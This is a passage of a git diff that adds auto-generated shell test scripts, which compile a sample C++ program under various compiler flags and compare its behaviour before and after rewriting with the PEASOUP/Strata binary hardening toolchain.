+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..7b6439fec50238a89376c68364513e512ac5edb1
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..cd130a16386cf011a83df68edc4a4e059aecd5ca
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..5d6e375b59519323311210fed051da389b3884b3
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..451b9e68660712a8d063e72f7d5e016c4e30f337
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a6b97c565635a29e02954718ec53ffe8d4de895e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..4dca3ae516f71b3952084a8ddeffd666af638370
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3 -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3 -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
